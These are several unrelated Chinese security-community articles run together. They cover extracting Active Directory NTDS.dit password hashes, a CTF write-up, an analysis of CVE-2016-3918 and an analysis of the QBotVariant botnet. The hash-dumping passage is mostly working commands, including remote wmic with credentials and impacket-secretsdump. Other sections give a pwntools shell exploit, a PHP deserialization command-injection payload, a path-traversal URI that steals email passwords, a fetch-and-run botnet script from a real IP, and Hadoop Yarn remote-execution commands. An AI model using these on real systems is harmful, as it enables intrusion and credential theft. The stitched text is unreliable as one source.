但是，渗透测试人员和红队可以借用它来拍摄现有ntds.dit文件的快照，该文件可以复制到新位置以进行离线分析和密码哈希的提取。
ntdsutil
activate instance ntds
ifm
create full C:\ntdsutil
quit
quit
> NTDSUTIL
将生成两个新文件夹：Active Directory和Registry。 NTDS.DIT文件将保存在Active
Directory中，SAM和SYSTEM文件将保存到Registry文件夹中。
> ntdsutil - ntds
## Diskshadow
DiskShadow是Microsoft签名的二进制文件，用于协助管理员执行与卷影拷贝服务（VSS）相关的操作。
最初bohops在他的博客中写到了这个二进制文件。
这个二进制文件有交互式和脚本两种模式，因此可以使用一个脚本文件，它将包含自动提取NTDS.DIT所需的所有命令。
脚本文件可以包含以下命令，以便创建新的卷影拷贝，装入新驱动器，执行复制命令并删除卷影拷贝。
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
delete shadows volume %someAlias%
reset
应该注意， DiskShadow二进制文件需要从 _C:\Windows\System32_ 路径执行。 如果从其他路径调用它，脚本将无法正确执行。
diskshadow.exe /s c:\diskshadow.txt
> Diskshadow
直接从解释器运行以下命令将列出系统的所有可用的卷影拷贝。
diskshadow
LIST SHADOWS ALL
> diskshadow - 提取卷影拷贝
SYSTEM注册表配置单元也应该被复制，因为它包含解密NTDS文件内容的密钥。
reg.exe save hklm\system c:\exfil\system.bak
> diskshadow - 从Registry复制系统
## WMI
Sean Metcalf在他的博客中证明，可以通过WMI远程提取NTDS.DIT和SYSTEM文件。 此技巧使用vssadmin二进制文件来创建卷影拷贝。
wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c vssadmin create shadow /for=C: 2>&1"
> WMI - 创建卷影拷贝
然后，它远程执行复制命令，以便将卷影拷贝中的NTDS.DIT文件解压缩到目标系统上的另一个目录中。
wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ntds.dit 2>&1"
> WMI - 复制NTDS文件
这同样适用于SYSTEM文件。
wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM\ C:\temp\SYSTEM.hive 2>&1"
> WMI - 复制系统文件
然后，解压缩的文件可以从域控制器传输到另一个Windows系统，以转储域密码哈希值。
PS C:\Users\test.PENTESTLAB> copy \\10.0.0.1\c$\temp\ntds.dit C:\temp
PS C:\Users\test.PENTESTLAB> copy \\10.0.0.1\c$\temp\SYSTEM.hive C:\temp
> 通过copy传输文件
如果进一步拿去生成黄金票据(Golden Ticket)，则可以替换凭证，使用它通过域控制器的Kerberos协议身份验证。（参见文末参考链接）
## VSSADMIN
卷影拷贝(VSS)是一个Windows命令行程序。它使得管理员可以备份计算机，卷和文件，即使它们正在被操作系统使用。
卷影拷贝作为服务运行，并要求文件系统为NTFS格式，默认情况下所有现代操作系统都是如此。在Windows命令提示符执行以下操作将创建C：驱动器的快照，以便用户将通常无法访问的文件复制到其他位置（本地文件夹，网络文件夹或可移动介质）。
vssadmin create shadow /for=C:
> vssadmin - 创建卷影拷贝
由于C：驱动器中的所有文件都已复制到另一个位置（HarddiskVolumeShadowCopy1），因此它们不会被操作系统直接使用，从而可以访问并复制到另一个位置。
命令COPY会把NTDS.DIT和SYSTEM文件复制到本地驱动器上的新建文件夹ShadowCopy中。
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy
> 从卷影拷贝中复制文件
这些文件需要从域控制器复制到另外的主机以进行进一步处理。
> ShadowCopy 文件夹下的文件
## vssown
与vssadmin程序类似， Tim Tomes开发了vssown
，它是一个可视化的脚本，可以创建和删除卷影拷贝，从卸载的卷影拷贝里运行任意的可执行文件，以及启动和停止卷影拷贝服务。
cscript vssown.vbs /start
cscript vssown.vbs /create c
cscript vssown.vbs /list
cscript vssown.vbs /delete
> vssown - 卷影拷贝
可以使用命令COPY复制所需的文件。
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\ntds\ntds.dit C:\vssown
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\system32\config\SYSTEM C:\vssown
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\system32\config\SAM C:\vssown
> vssown - 复制NTDS，SYSTEM和SAM文件
## Metasploit
Metasploit框架有一个模块，它通过服务器消息块（Server Message Block,
SMB）服务直接与域控制器进行身份验证，创建系统驱动器的卷影拷贝，并将NTDS.DIT和SYSTEM配置单元的副本下载到Metasploit目录中。
这些文件可以与impacket等其他工具一起使用，这些工具可以执行Active Directory的密码哈希的提取。
auxiliary/admin/smb/psexec_ntdsgrab
> Metasploit - NTDS模块
还有一个后期利用模块，可以链接到现有的Meterpreter会话，以便通过ntdsutil方法提取域哈希。
windows/gather/credentials/domain_hashdump
或者，如果有现成的到域控制器的Meterpreter会话，则可以使用命令hashdump 。 但是，此方法被认为是不安全的，因为它可能会使域控制器崩溃。
hashdump
> Metasploit - DC上的Hashdump
## fgdump
fgdump是一个老的可执行文件，可以提取LanMan和NTLM的密码哈希值。 如果已获得本地管理员凭据，则可以在本地或远程运行fgdump。
在运行期间，fgdump将尝试关闭系统上可能存在的反病毒软件，如果成功，则会将所有数据写入两个文件中。
但是说实话，如果存在反病毒软件或终端安全解决方案，为了避免被探测到攻击行为，不应使用fgdump转储密码哈希。因为大多数反病毒公司（包括Microsoft的Windows
Defender）都会对其进行查杀。
fgdump.exe
> fgdump - 域控制器
可以通过检查.pwdump文件的内容来提取密码哈希值。
type 127.0.0.1.pwdump
> fgdump - pwdump文件
## NTDS提取
Impacket是一组python脚本，可用于执行各种任务，包括提取NTDS文件的内容。impacket-secretsdump模块需要SYSTEM和NTDS两个数据库文件。
impacket-secretsdump -system /root/SYSTEM -ntds /root/ntds.dit LOCAL
> impacket - 提取NTDS内容
此外， impacket还可以通过使用计算机帐户及其哈希进行身份验证从NTDS.DIT文件远程转储域密码哈希。
impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\[email protected]
> impacket - 远程提取NTDS内容
作为impacket的替代解决方案， NTDSDumpEx二进制文件可以从Windows主机中提取域密码哈希值。
NTDSDumpEx.exe -d ntds.dit -s SYSTEM.hive
> NTDSDumpEx
还有一个shell脚本adXtract ，它可以将用户名和密码哈希导出为一种通用格式，继而被常见的密码破解程序使用，例如John the
Ripper和Hashcat。
./adXtract.sh /root/ntds.dit /root/SYSTEM pentestlab
> adXtract
该脚本将所有信息写入项目名称下的各种文件中，当数据库文件NTDS的解密完成后，将用户列表和密码哈希值导出到控制台中。
该脚本将提供有关域用户的大量信息，如下所示。
> adXtract - 用户列表
密码哈希将以下列格式显示。
## 参考链接
[Active Directory 概述](https://support.microsoft.com/zh-cn/help/196464)
[从NTDS.dit获取密码哈希值的三种方法](https://www.secpulse.com/archives/73178.html)
[How the Active Directory – Data Store Really
Works](http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1)
[Kerberos Golden Ticket
Protection](https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf)
[Kerberos的黄金票据详解](https://www.cnblogs.com/backlion/p/8127868.html) | 社区文章 |
利用周末打了上海市大学生网络安全大赛，最后打了第三，这次的 Misc 真的是难上天，除了签到其他都做不动...膜一波复旦的师傅们。比赛中我打的是
Crypto 和部分 Web，这里也贴了一些队友的 wp。
### Misc
#### 签到
直接 base32 解码。
### Pwn
#### baby_arm
arm 架构，核心思想是改掉 mprotect 函数的参数，使 bss 段可执行。
exp如下：
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import os
context.arch = 'aarch64'
p = remote('106.75.126.171', 33865)
start = p64(0x4007D8)+asm(shellcraft.aarch64.linux.sh())
p.sendafter('Name:', start.ljust(512, '\x00'))
padding='a'*0x48
pop=0x4008CC
lea=0x4008ac
bss= 0x411068
payload = flat(padding, pop, 0, lea, 0, 1, bss, 7, 0x1000, 0, p64(0x411070)*0x100)
p.send(payload)
p.interactive()
### Crypto
#### rsaaaaa
这道题有两个点，第一个点是 RSA 中给定 m 和 c，提供 d 和
n，这里脚本随机生成的公私钥，想要直接获取基本不可能，我们看到服务器脚本只判断了一个等式：
只要满足 `pow(c,D,N) == m` 即可，所以我们可以自己选定一个 d,然后令 `n=pow(c,d)-m` 即可。
第二个点是下面这段代码：
这里给了我们一次解密的机会，但不允许解密明文，这个考点在之前的 suctf 出过，思路是让服务器解密`(c*pow(2,e,n))%n` ，这样得到的明文是
`2*m`，除2即可。
脚本如下：（拿 socket 写的，比较丑）
# -*- coding: utf-8 -*- from hashlib import sha512
import socket
import string
import re
from Crypto.Util.number import *
from Crypto.Cipher import AES
HOST='106.75.101.197'
PORT=7544
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))
def brute_force(pad, shavalue):
dict = string.letters + string.digits
key = ""
for i1 in dict:
tmp = key
key1 = tmp + i1
for i2 in dict:
tmp = key1
key2 = tmp + i2
for i3 in dict:
tmp = key2
key3 = tmp + i3
for i4 in dict:
tmp = key3
key4 = tmp + i4
final_key = key4
if sha512(pad+key4).hexdigest()==shavalue:
print key4
return key4
content = sock.recv(1024).strip()
print content
pad=content[20+7:20+7+16]
hash=content[20+33:]
print pad
print hash
sock.recv(1024).strip()
sock.send(str(brute_force(pad,hash))+"\n")
print sock.recv(1024).strip()
content=sock.recv(1024).strip()
print content
m=int(re.findall(":(.+?)\nand",content)[0],16)
c=int(re.findall("ciphertext:0x(.+)",content)[0],16)
d=97
n=pow(c,d)-m
print n
print sock.recv(1024).strip()
sock.send(str(n)+"\n")
print sock.recv(1024).strip()
sock.send(str(d)+"\n")
print sock.recv(1024).strip()
msg1 = hex(m)[2:-1].decode('hex')
content=sock.recv(1024).strip()
print content
n=int(re.findall("n=(.+?)\n",content)[0],16)
e=int(re.findall("e=(.+?)\n",content)[0],16)
c=re.findall("c=(.+)",content)[0]
c=c+sock.recv(1024).strip()
c=int(c,16)
print c
print sock.recv(1024).strip()
sock.send(str((c*pow(2,e,n))%n)+"\n")
content=sock.recv(1024).strip()
print content
m=int(re.findall("message:0x(.+)",content)[0],16)
sock.recv(1024).strip()
msg2 = hex(m/2)[2:-1].decode('hex')
sock.send(str(m/2)+"\n")
print sock.recv(1024).strip()
content=sock.recv(1024).strip()
flag=re.findall("flag:0x(.+)",content)[0]
flag=flag.decode("hex")
cipher = AES.new(msg2, AES.MODE_CBC, msg1)
print cipher.decrypt(flag)
这个题我用 socket 遇到了一个坑点，就是在收到服务器发来的 n,e,c 时，接受到 c 后服务器又发来了一个大约 29 长度的 16
进制数，我开始不知道是什么，结果脚本死活过不了，发过去的结果不对。
卡了好久，之后发现 c 的位数好像有点少，才明白那个 16 进制原来是 c 的后面一部分... 不知为何给我发过来的时候分了两步发送，所以才有我的这段代码：
c=re.findall("c=(.+)",content)[0]
c=c+sock.recv(1024).strip()
c=int(c,16)
最后：
> flag{ec35162f-94b3-47e4-8d2c-6da6bba0391f}
#### aessss
这个题目问题出在 padding 的时候，由于不足 256 位要进行 padding，padding 的字节也就是缺的字节数，但是如果明文够 256
字节，那么按照代码写的就不进行padding：
def pad(self, s):
s += (256 - len(s)) * chr(256 - len(s))
ret = ['\x00' for _ in range(256)]
for index, pos in enumerate(self.s_box):
ret[pos] = s[index]
return ''.join(ret)
最大的问题出在 unpad 上，unpad 没有进行检查，仅仅通过最后一个字节来判断填充的字节数。
def unpad(self, s):
ret = ['\x00' for _ in range(256)]
for index, pos in enumerate(self.invs_box):
ret[pos] = s[index]
return ''.join(ret[0:-ord(ret[-1])])
而且服务器提供了加密当前的 flag 以及对当前的 flag 后面追加信息的功能，我们的利用思路如下：
1. 选择 choice2，追加 `256-33 =223`字节，使当前 flag 不需要填充，追加的最后一个字节设置成`chr(256-32=224)`
2. 服务器对 flag 追加我们的信息，并进行 s 盒替换，结果赋给类中的 flag 变量。
3. 我们再次选择 choice2，这里由于我们需要追加，服务器会将类中的 flag 变量取出进行逆 S 盒替换和 unpad，这样按照这个 unpad 算法会把后面 224 字节的全部当成 padding去掉，明文剩下了真正 flag 的前32位
4. 我们此时输入一个字符 i,那么此时加密的对象就是`flag[:32]+i`
5. 选择 choice1 对当前 flag 加密，控制 i 进行爆破，如果得到的密文和最初的 flag 加密的密文一样，就得到了 flag 的最后一个字节
6. 逐字节爆破，直至获取全部的 flag。
解题脚本如下：
# -*- coding: utf-8 -*- from hashlib import sha256
import socket
import string
HOST='106.75.13.64'
PORT=54321
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))
def brute_force(pad, shavalue):
dict = string.letters + string.digits
key = ""
for i1 in dict:
tmp = key
key1 = tmp + i1
for i2 in dict:
tmp = key1
key2 = tmp + i2
for i3 in dict:
tmp = key2
key3 = tmp + i3
for i4 in dict:
tmp = key3
key4 = tmp + i4
final_key = key4
if sha256(key4+pad).hexdigest()==shavalue:
print key4
return key4
def choice1():
sock.send("1\n")
result=sock.recv(1024).strip()[30:]
sock.recv(1024).strip()
return result
def choice2(pad):
sock.send("2\n")
sock.recv(1024).strip()
sock.send(pad+"\n")
sock.recv(1024).strip()
sock.recv(1024).strip()
def choice3(str):
sock.send("3\n")
sock.recv(1024).strip()
sock.send(str+"\n")
result=sock.recv(1024).strip()[33:]
sock.recv(1024).strip()
return result
content = sock.recv(1024).strip()
pad=content[12:12+16]
hash=content[33:33+64]
sock.recv(1024).strip()
sock.send(str(brute_force(pad,hash))+"\n")
print sock.recv(1024).strip()
flag_enc=choice1()
flag=""
for i in range(33):
a = ''.join(['a' for _ in range(223)])
a = a[:-1] + chr(224+i)
for c in string.printable:
print c+flag
choice2(a)
choice2(c+flag)
if choice1() == flag_enc:
flag=c+flag
print "success:",flag
break
爆破到最后一个字节崩了。。。 应该是去掉了所有的 flag ，不过可以猜出来 flag
> flag{H4ve_fun_w1th_p4d_and_unp4d}
### Web
#### what are you doing?
提示看 robots.txt，发现了 source.php 和 flag.php。
访闻 source.php ，提示管理员登录，改包利用 x-client-ip 进行绕过，提示要 post admin 和 url 参数。
url 放进去网址后，得到一个路径，访问应该是源码。
猜想是 SSRF ，利用 file 协议读取 flag:
访问得到 flag。
#### Can you hack me?
存在源码泄露，index.php.swp,用 vim 还原：
<?php
error_reporting(0);
class come{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
}
}
function waf($str){
$str=preg_replace("/[<>*;|?\n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}
function echo($host){
system("echo $host");
}
function __destruct(){
if (in_array($this->method, array("echo"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
}
$first='hi';
$var='var';
$bbb='bbb';
$ccc='ccc';
$i=1;
foreach($_GET as $key => $value) {
if($i===1)
{
$i++;
$$key = $value;
}
else{break;}
}
if($first==="doller")
{
@parse_str($_GET['a']);
if($var==='give'){
if($bbb==='me'){
if($ccc==='flag'){
echo "<br>welcome</br>";
$come=@$_POST['come'];
unserialize($come);
}
}
else{
echo "<br>think about it</br>";
}
}
else{
echo "no";
}
}
else{
echo "can you hack me?";
}
?>
明显的反序列化，回调函数调用 echo 函数的 system，存在 waf，flag过滤用双写绕过，反引号没有过滤
payload：
come=O:4:"come":2:{s:12:"%00come%00method";s:4:"echo";s:10:"%00come%00args";a:1:{s:4:"host";s:30:"`nl${IFS}../../../../flaflagg`";}}
#### GOOD JOB
<?php
//error_reporting(0);
//$dir=md5("icq" . $_SERVER['REMOTE_ADDR']);
$dir=md5("icq");
$sandbox = '/var/sandbox/' . $dir;
@mkdir($sandbox);
@chdir($sandbox);
if($_FILES['file']['name']){
$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
if (!is_array($filename)) {
$filename = explode('.', $filename);
}
$ext = end($filename);
if($ext==$filename[count($filename) - 1]){
die("emmmm...");
}
$new_name = (string)rand(100,999).".".$ext;
move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
$_ = $_POST['hehe'];
if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
include($_);
}
unlink($new_name);
}
else{
highlight_file(__FILE__);
}
代码审计，看到最里面的 include 还以为是今年 HITCON 的 one-line-challenge 升级版，结果卡在了第一步...
第一步是网鼎杯的上传题，学习了一波用数组绕过。
之后文件名包含随机数，直接爆破。有个 unlike 使用 `/.` 绕过。
主办方直接把平台关了... 太狠了，还想着复现一波，只能看看各位大师傅的 wp 了。
#### Web4
首先是 sql 注入，首先经典`' or 1# 和` `'or 0#` ，然后拿 sqlmap 跑一波 ，level5 没有什么卵用。
把盲注的 payload 贴到 sqlmap 的 url 里，sqlmap 一把梭，直接注出来管理员密码：
解密，密码是`adminpassword`，进去发现是个文件上传，一直显示`uploaded to ./***.txt please upload to
./flag.php` 访问文件发现也没有，一直想 getshell 卡在这里。
赛后看师傅题解发现自己思路太僵硬了... 这个题只需要上传到 flag.php 就得到 flag，思路就是抓包发现文件名拼接，绕过过滤的 **php**
，然后有个`%02` 的截断（从来没听说过....），自己太菜了。
### Reverse
#### CPP
两个关键函数第一个
sub_40111A简单的异或与移位，所以逆算法就是将数组先按位异或，然后数组左移六位|数组右移两位。第二个Sub_401332复习了下离散数学，经过各种逻辑运算后其实最后还是等效为异或，相邻数异或然后一共四轮。
脚本如下：
flag1=''
num1=[0x99, 0xB0, 0x87, 0x9E, 0x70, 0xE8,
0x41, 0x44, 0x05, 0x04, 0x8B, 0x9A,
0x74, 0xBC, 0x55, 0x58, 0xB5, 0x61,
0x8E, 0x36, 0xAC, 0x09, 0x59, 0xE5,
0x61, 0xDD, 0x3E, 0x3F, 0xB9, 0x15,
0xED, 0xD5]
for i in range(4):
for j in range(len(num1)-1,0,-1):
num1[j]=num1[j-1]^num1[j]
for i in range(len(num1)):
flag1+=chr((num1[i]^i)>>2|(((num1[i]^i)<<6)&0xff))
print flag1
#flag{W0w_y0u_m4st3r_C_p1us_p1us}
#### What is it
先爆破 md5：
import itertools
import string
from hashlib import md5
def crackMd5():
product = itertools.permutations(string.letters[:26],6)
for test in product:
md5_test = md5("".join(test)).hexdigest()
print "".join(test)
var1 = 0
var2 = 0
for i in range(len(md5_test)):
if md5_test[i]=='0':
var1 += 1
var2 += i
if 10*var1 + var2 == 0x193:
print "ans : "
print "".join(test)
print md5_test
return
print "failed!"
crackMd5()
ozulmt 这是跑出的字符串，然后动态调试可以在内存中直接看到 flag,不过要加上格式，根据checkht加上就好.
> flag{a197b847-7092-53a4-7c41-bc7d6d52e69d}
#### Cyvm
虚拟机逆向，直接 Angr 跑。
import angr
import claripy
p = angr.Project('cyvm')
flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(32)]
flag = claripy.Concat(*flag_chars + [claripy.BVV(b'\n')])
st = p.factory.blank_state(addr=0x400CB1,stdin=flag)
for k in flag_chars:
st.solver.add(k >= 32)
st.solver.add(k <= 126)
st.solver.add(flag_chars[0] == 'f')
st.solver.add(flag_chars[1] == 'l')
st.solver.add(flag_chars[2] == 'a')
st.solver.add(flag_chars[3] == 'g')
st.solver.add(flag_chars[4] == '{')
sm = p.factory.simulation_manager(st)
sm.explore(find=0x400CD2)
found = sm.found[0]
solution = found.solver.eval(flag, cast_to=str)
print solution
> flag{7h15_15_MY_f1rs7_s1mpl3_Vm}
### 总结
Web 感觉有些脑洞的东西，Crypto 的题都要写脚本，socket 感觉有点难用，要转 pwntools 了....
做出 Misc 的都是带哥。 | 社区文章 |
# 【漏洞分析】CVE-2016-3918：电子邮件信息泄露漏洞分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
谷歌近期对外公布了2016年10月的Nexus Security Bulletin，这其中包含一个由360手机卫士阿尔法团队(Alpha
Team)提交的电子邮件信息泄露漏洞（CVE-2016-3918），谷歌对此漏洞的评级为高危险等级。该漏洞可导致恶意应用获取到电子邮件内的数据，可能是电子邮件内容、电子邮件附件甚至账号密码。目前谷歌已经修复该漏洞并向OEM厂商推送了补丁，本文将对此漏洞进行分析。
本文的测试环境和代码版本如下：
SDK Version: 23, Android 6.0.1
Build: MOB30Y
Branch: android-6.0.1_r60
**
**
**漏洞成因**
在Android
AOSP的Email应用程序的源码中，我们可以看到在AndroidManifest.xml文件中存在名为AttachmentProvider的ContentProvider。
<provider
android:name=".provider.AttachmentProvider"
android:authorities="com.android.email.attachmentprovider"
android:grantUriPermissions="true"
android:exported="true"
android:readPermission="com.android.email.permission.READ_ATTACHMENT"
/>
其主要属性如下：
exported true即对外开放
authorities com.android.email.attachmentprovider 即URI唯一标识
readPermission com.android.email.permission.READ_ATTACHMENT 即读取需要此权限
通过查询我们可以了解到com.android.email.permission.READ_ATTACHMENT权限的protectionLevel为dangerous，即可被第三方应用获取到。
<permission
android:name="com.android.email.permission.READ_ATTACHMENT"
android:permissionGroup="android.permission-group.MESSAGES"
android:protectionLevel="dangerous"
android:label="@string/permission_read_attachment_label"
android:description="@string/permission_read_attachment_desc"/>
在确定此ContentProvider可以被第三方应用接触到之后，我们定位AttachmentProvider的源码。 源码路径如下：
/packages/apps/Email/provider_src/com/android/email/provider/AttachmentProvider.java
通过阅读源码我们可以发现AttachmentProvider中实现了一个public的openFile接口，该接口会返回一个ParcelFileDescriptor类型的对象供调用者打开文件。
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
进入openFile接口立刻就会判断mode值是否为 "w"
，如果为w则会返回一个可写的文件描述符。但在返回之前，函数的实现代码进行了权限检查，如果调用者没有com.android.email.permission.ACCESS_PROVIDER权限的话是会抛异常的。而该权限的声明如下：
<permission
android:name="com.android.email.permission.ACCESS_PROVIDER"
android:protectionLevel="signature"
android:label="@string/permission_access_provider_label"
android:description="@string/permission_access_provider_desc"/>
可以看到该权限是无法被第三方应用获取到的，所以获取可写的权限是不可行的。 继续往下分析代码。
List<String> segments = uri.getPathSegments();
String accountId = segments.get(0);
String id = segments.get(1);
String format = segments.get(2);
if (AttachmentUtilities.FORMAT_THUMBNAIL.equals(format)) {
int width = Integer.parseInt(segments.get(3));
int height = Integer.parseInt(segments.get(4));
...
}
else {
return ParcelFileDescriptor.open(
new File(getContext().getDatabasePath(accountId + ".db_att"), id),
ParcelFileDescriptor.MODE_READ_ONLY);
}
接下来一系列代码会从uri.getPathSegments()中分割开不同的字段，并从中读取相应的配置参数。
当format参数不等于"THUMBNAIL"时，该代码将会直接返回一个getDatabasePath()该目录下名为id的文件的文件描述符。
而id参数是上面从uri.getPathSegments().get(1)得到的，获取之后则没有任何处理。
uri.getPathSegments()方法的作用是将字符串以"/"进行分割，但由于其没有对经过url编码的字符串进行解码，导致在处理过程中，对于/编码之后的%2f则将不做处理，从而绕过getPathSegments的分割。
**
**
**漏洞利用**
根据上面我们对于代码的分析，可以得出AttachmentProvider的uri如下：
content://accountId/id/format/width/height
我们如果想利用此漏洞读取数据，为使程序流能够成功运行至目标位置，需要构造如下uri
content://com.android.email.attachmentprovider/1/file_position/1/1/1
而且，getDatabasePath()的目录是/data/user/0/com.android.email/databases/，如果我们要读取Email邮件的数据，则需要跳转至目标目录/data/data/com.android.email/来读取Email应用的sqlite数据库文件，我们需要构造如下uri:
content://com.android.email.attachmentprovider/1/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.android.email%2Fdatabases%2FEmailProvider.db/1/1/1
而EmailProvider.db中存储了我们已登陆账户的账户名和密码，对应的结构为HostAuth表的login和password字段。
我们构造的PoC截图如下：
**总结**
至此，CVE-2016-3918漏洞的分析和利用已经完成。
经过我们的测试，目前多款主流手机机型的自带电子邮件客户端都存在该问题，如小米NOTE、华为P9、三星S5等机型，为了账户的安全，请使用存在漏洞手机的用户暂停使用电子邮件客户端并清除账户信息，换至其他邮件客户端。 | 社区文章 |
互联网给人带来便捷的同时，其公开大量的资源也同样给恶意利用者带了便捷，越来越多公开的恶意程序源码降低了对外攻击、入侵的难度，使得安全问题愈加严重。
阿里云安全团队从今年5月份监测到一BOT家族，其样本改写自互联网公开渠道源码，在互联网上广泛传播，造成了极大的危害，云安全团队对该类样本做了分析、聚类、溯源，在此我们将该类样本命名为QBotVariant。
QBotVariant具有DDoS攻击、后门、下载器、暴力破解等功能，一旦被入侵便变成肉鸡，其主要传播方式通过Hadoop Yarn资源管理系统REST
API未授权访问漏洞和基于弱口令的暴力破解。类似Mirai该BOT家族针对多个版本的操作系统，不仅服务器受到危害，如CCTV监控、家庭路由等IOT设备更容易被攻击、入侵。Radware公司Pascal
Geenens在最新的博客《New DemonBot
Discovered》中提及到该类样本，但是他发现的IP、样本等信息只是该类家族的其中一个样本，而我们从监测到30多个下载服务器可以看出，QBotVariant多变的IP和二进制样本变种，使其难以发现和跟踪。
在云平台上，我们监测到的QBotVariant活跃度如下，峰值的时候可以达到上千个，活跃度一直未减。
以下我们将从传播方式、脚本分析、样本分析、溯源等多个角度对QBotVariant进行详细的分析。
# 入侵、传播方式
QBotVariant家族传播的方式有两种，一是利用Hadoop Yarn资源管理系统REST
API未授权访问漏洞进行入侵，二是通过硬编码的弱密码进行SSH暴力破解。
Hadoop是一款由Apache基金会推出的分布式系统框架，它通过著名的MapReduce算法进行分布式处理，Yarn是Hadoop集群的资源管理系统。Hadoop
Yarn资源管理系统配置不当导致可以未经授权进行访问，从而被攻击者恶意利用。攻击者无需认证即可通过REST
API部署任务来执行任意代码，最终完全控制服务器。
其问题来源于对外开启了以下作用的端口
yarn.resourcemanager.webapp.address，默认端口8088
yarn.resourcemanager.webapp.https.address，默认端口8090
通过对新申请application，如下指令
curl -v -X POST 'http://ip:port/ws/v1/cluster/apps/new-application'
再执行如下指令即可完成入侵
curl -s -i -X POST -H 'Accept:application/json' -H 'Content-Type:application/json'http://ip:port/ws/v1/cluster/apps -data-binary @example.json
其example.json文件如下
{
"am-container-spec":{
"commands":{
"command":"执行的命令书写在这里"
}
},
"application-id":"application_xxxx_xxxxx",
"application-name":"test",
"application-type":"YARN"
}
# 脚本分析
我们通过溯源找到了QBotVariant比较原始版本的脚本，在原始版本的脚本中支持wget、tftp、ftpget等脚本的执行，从远程下载服务器下载脚本并执行
bash -c cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;
wget http://185.244.25.153/bins.sh; chmod 777 bins.sh; sh bins.sh;
tftp 185.244.25.153 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh;
tftp -r tftp2.sh -g 185.244.25.153; chmod 777 tftp2.sh; sh tftp2.sh;
ftpget -v -u anonymous -p anonymous -P 21 185.244.25.153 ftp1.sh ftp1.sh; sh ftp1.sh tftp1.sh tftp2.sh ftp1.sh
以下是阿里云安全截获的一个经过改写的下载脚本，从脚本可以看出作者为了能够很好的对IOT设备支持，一方面编译了不同版本的程序，通过ntpd、sshd、openssh等进行伪装；另一方面每个命令行都加入了对busybox的支持，这些使得该类脚本很好的支持了IOT设备，为QBotVaraint的传播提供了更加便捷的途径。
在阿里云捕获的源码中有用于编译多个版本的脚本
QBotVariant支持版本类型及其对应二进制名称:
支持版本类型 | 对应二进制名称 | 支持版本类型 | 对应二进制名称
---|---|---|---
mips | ntpd | i586 | ftp
mipsel | sshd | m68k | pftp
sh4 | openssh | sparc | sh
x86_64 | bash | armv4l |
armv6l | tftp | armv5l | apache2
i686 | wget | powerpc-440fp | telnetd
powerpc | cron |
# 样本分析
阿里云截获的多批次样本都比较相似，都改编于QBot。某些作者为了精简样本或者进行杀软对抗可能将某些功能进行裁剪，我们随机对比两个捕获的样本，如图右边的样本对getRandomPublicIP函数进行了裁剪，该样本只实现了QBot的少许功能，其文件更小、功能更加单一。
而绝大部分样本都实现了基本功能，其传播性、危害性等性质并未改变，部分函数如图所示
# 指令分析
我们对远控指令进行了分析，其功能如下图所示
值得注意是StartTheLelz函数，该函数主要用于对随机生成的IP地址进行爆破，如图通过getRandomPublicIP函数得到随机的IP，将硬编码的用户名和密码存储在结构体中，然后进行连接，其最大爆破次数通过max变量进行控制，max和文件描述表的项数有关但最大不超过4096。
通过数据区可以看见作者集成了几种常见的用户名和密码用于爆破
如果最终爆破成功，则会在被爆破的主机中执行如下脚本，从而感染主机，再继续向外传播
除了集成常见的对外DDoS攻击方法，QBotVariant还可以进行对外发送垃圾数据，通过sendJUNK或sendUDP即可完成该动作，如图用于生成随机字符串的makeRandomStr函数，通过发送大量垃圾包同样可以造成网络带宽阻塞。
而QBotVariant为了最大化入侵价值，同样提供了远程shell命令执行功能，其命令以"SH"开头，通过fdgets、sockprintf将命令执行后的结果返回到远控端，实现如下
# 样本溯源/同源性分析
我们在对样本分析的过程中发现一个有趣的现象，样本为了逃避检测，有多种不同的指令，我们选取了几种QBotVariant的上线方式。
第一种，信息较简单，返回大小端、CPU架构、主机用途等信息。
第二种，信息比较全面，带有操作系统、CPU架构、主机用途、端口、主机IP等信息。
第三种，信息最为简单，只返回架构信息。
第四种，返回大小端、架构信息。
第五种，信息比较全面，架构信息、大小端、主机IP、主机用途等信息。
第六种，返回主机IP、类型、版本信息等。
第七种，返回架构、主机IP等信息。
